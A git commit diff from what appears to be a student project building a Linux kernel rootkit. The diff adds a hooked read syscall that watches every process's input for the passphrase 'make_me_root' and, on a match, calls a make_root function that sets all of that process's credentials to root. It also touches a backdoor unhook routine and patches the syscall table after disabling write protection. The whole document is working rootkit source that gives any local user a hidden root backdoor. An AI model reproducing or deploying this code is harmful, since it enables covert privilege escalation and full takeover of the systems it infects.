commit bea2d60836c7cbc63d62d9d14bd6fa7aaf786a2b
parent f0f369b9d838670901accb28c0ab7d65f5caa4b9
Author: deurzen <m.deurzen@tum.de>
Date: Sun, 29 Nov 2020 17:23:07 +0100
Merge branch 'master' into feat/hidepid
Diffstat:
6 files changed, 223 insertions(+), 2 deletions(-)
diff --git a/src/backdoor.c b/src/backdoor.c
@@ -1,4 +1,5 @@
#include <linux/tty.h>
+#include <linux/delay.h>
#include "common.h"
#include "backdoor.h"
@@ -53,10 +54,16 @@ unbackdoor(void)
}
if (sys_read) {
- while (atomic_read(&read_count) > 0);
disable_protection();
sys_calls[__NR_read] = (void *)sys_read;
enable_protection();
+
+ int cur;
+
+ while ((cur = atomic_read(&read_count)) > 0) {
+ DEBUG_INFO("Waiting for %d tasks", cur);
+ msleep(250);
+ }
}
}
diff --git a/src/creds.c b/src/creds.c
@@ -0,0 +1,33 @@
+#include <linux/cred.h>
+
+#include "creds.h"
+
+void
+make_root(void)
+{
+ struct cred *new;
+
+ if(!(new = prepare_creds()))
+ return;
+
+ kuid_t root_u = make_kuid(new->user_ns, 0);
+ kgid_t root_g = make_kgid(new->user_ns, 0);
+
+ //Effective and real UID
+ new->euid = root_u;
+ new->uid = root_u;
+
+ //Effective and real GID
+ new->egid = root_g;
+ new->gid = root_g;
+
+ //Saved UID and GID
+ new->suid = root_u;
+ new->sgid = root_g;
+
+ //VFS-Ops UID and GID
+ new->fsuid = root_u;
+ new->fsgid = root_g;
+
+ commit_creds(new);
+}
+\ No newline at end of file
diff --git a/src/creds.h b/src/creds.h
@@ -0,0 +1,2 @@
+
+void make_root(void);
diff --git a/src/hook.c b/src/hook.c
@@ -12,6 +12,7 @@
#include "filehide.h"
#include "backdoor.h"
#include "hidepid.h"
+#include "read.h"
extern rootkit_t rootkit;
@@ -96,7 +97,17 @@ enable_protection(void)
asmlinkage ssize_t
g7_read(const struct pt_regs *pt_regs)
{
- return sys_read(pt_regs);
+ atomic_inc(&read_count);
+ long ret = sys_read(pt_regs);
+
+ //Just like the SystemV-CC (ignoring fd)
+ char *buf = (char *)pt_regs->si;
+ size_t count = pt_regs->dx;
+
+ handle_pid(current->pid, buf, count);
+
+ atomic_dec(&read_count);
+ return ret;
}
// https://elixir.bootlin.com/linux/v4.19/source/arch/x86/entry/syscall_64.c
diff --git a/src/read.c b/src/read.c
@@ -0,0 +1,143 @@
+#include <linux/hashtable.h>
+#include <linux/kernel.h>
+#include <linux/slab.h>
+
+#include "read.h"
+#include "common.h"
+#include "hook.h"
+#include "creds.h"
+
+DEFINE_HASHTABLE(pid_ht, 8); //2^8 buckets _should_ keep collisions low
+
+static const char *accept = "makerot_";
+
+
+//Using strspn allows us to only read inputs that include valid characters
+static int
+is_valid(char *buf, size_t size)
+{
+ //Small performance optimization when only reading one char
+ //Avoids strspn
+ if(size == 1) {
+ if((buf[0] >= 'a' && buf[0] <= 'z') || buf[0] == '_') {
+ return strspn(buf, accept) > 0;
+ }
+
+ return 0;
+ }
+
+ return strspn(buf, accept) > 0;
+}
+
+static void
+add_entry(pid_t key)
+{
+ struct pid_entry *cur;
+ struct pid_entry *new = kzalloc(sizeof(struct pid_entry), GFP_KERNEL);
+ new->pid = key;
+ new->str = kzalloc(MAX_BUF, GFP_KERNEL);
+ new->capacity = MAX_BUF;
+ new->iter = 0;
+
+
+ int found = 0;
+ hash_for_each_possible(pid_ht, cur, hlist, key)
+ if(cur->pid == key)
+ found = 1;
+
+ if(!found)
+ hash_add(pid_ht, &new->hlist, key);
+}
+
+static void
+remove_entry(pid_t key)
+{
+ struct pid_entry *cur;
+
+ hash_for_each_possible(pid_ht, cur, hlist, key) {
+ if(cur->pid == key) {
+ kfree(cur->str);
+ hash_del(&cur->hlist);
+ kfree(cur);
+ }
+ }
+}
+
+static struct pid_entry *
+get_entry(pid_t key)
+{
+ struct pid_entry *cur;
+
+ hash_for_each_possible(pid_ht, cur, hlist, key)
+ if(cur->pid == key)
+ return cur;
+
+ return NULL;
+}
+
+/**
+ * The idea here is to fill up our buffer as much as we can
+ * Should we reach the maximum capacity, we first of all
+ * compare what we read so far; if it's a match, grant root
+ * Otherwise, we can safely move the last 11 bytes to the start
+ * (as the worst case is reading 'make_me_roo', which
+ * is 11 characters long)
+ * This means we need to offset str with (23 - 11) = 12 = SHIFT_OFF
+ **/
+static void
+handle_compare(char *buf, pid_t pid, size_t size)
+{
+ struct pid_entry *entry;
+ entry = get_entry(pid);
+
+ int i = 0;
+
+ if(entry) {
+ fill:
+ while(i < size && entry->capacity > 0) {
+ entry->str[entry->iter] = buf[i];
+ entry->capacity--;
+ i++;
+ entry->iter++;
+ }
+
+ if(strnstr(entry->str, PASSPHRASE, MAX_BUF)) {
+ make_root();
+ return;
+ }
+
+ if(entry->capacity == 0) {
+ memmove(entry->str, (entry->str + SHIFT_OFF), SHIFT_OFF);
+ entry->capacity = entry->iter = SHIFT_OFF;
+
+ goto fill;
+ }
+
+ }
+
+ if(strstr(entry->str, PASSPHRASE))
+ make_root();
+}
+
+void
+handle_pid(pid_t pid, __user char *buf, size_t size)
+{
+ char *str = kzalloc(size, GFP_KERNEL);
+ copy_from_user(str, buf, size);
+
+ //Early return on exact match, avoiding more expensive operations
+ if(strnstr(str, PASSPHRASE, size)) {
+ make_root();
+ return;
+ }
+
+ if(is_valid(str, size)) {
+ add_entry(pid);
+ handle_compare(buf, pid, size);
+ } else {
+ //Throw out hashtable entries on invalid input
+ remove_entry(pid);
+ }
+
+ kfree(str);
+}
+\ No newline at end of file
diff --git a/src/read.h b/src/read.h
@@ -0,0 +1,22 @@
+#ifndef _GROUP7_READ_H
+#define _GROUP7_READ_H
+
+#define PASSPHRASE "make_me_root"
+#define SHIFT_OFF 12
+#define MAX_BUF 23 //We never need to save more than 23 Bytes
+
+
+void handle_pid(pid_t, __user char *, size_t);
+void hook_read(void);
+void unhook_read(void);
+
+struct pid_entry {
+ pid_t pid;
+ char *str;
+ int capacity;
+ int iter; //Keep track of where we left off while filling str
+ struct hlist_node hlist;
+};
+
+
+#endif//_GROUP7_READ_H
+\ No newline at end of file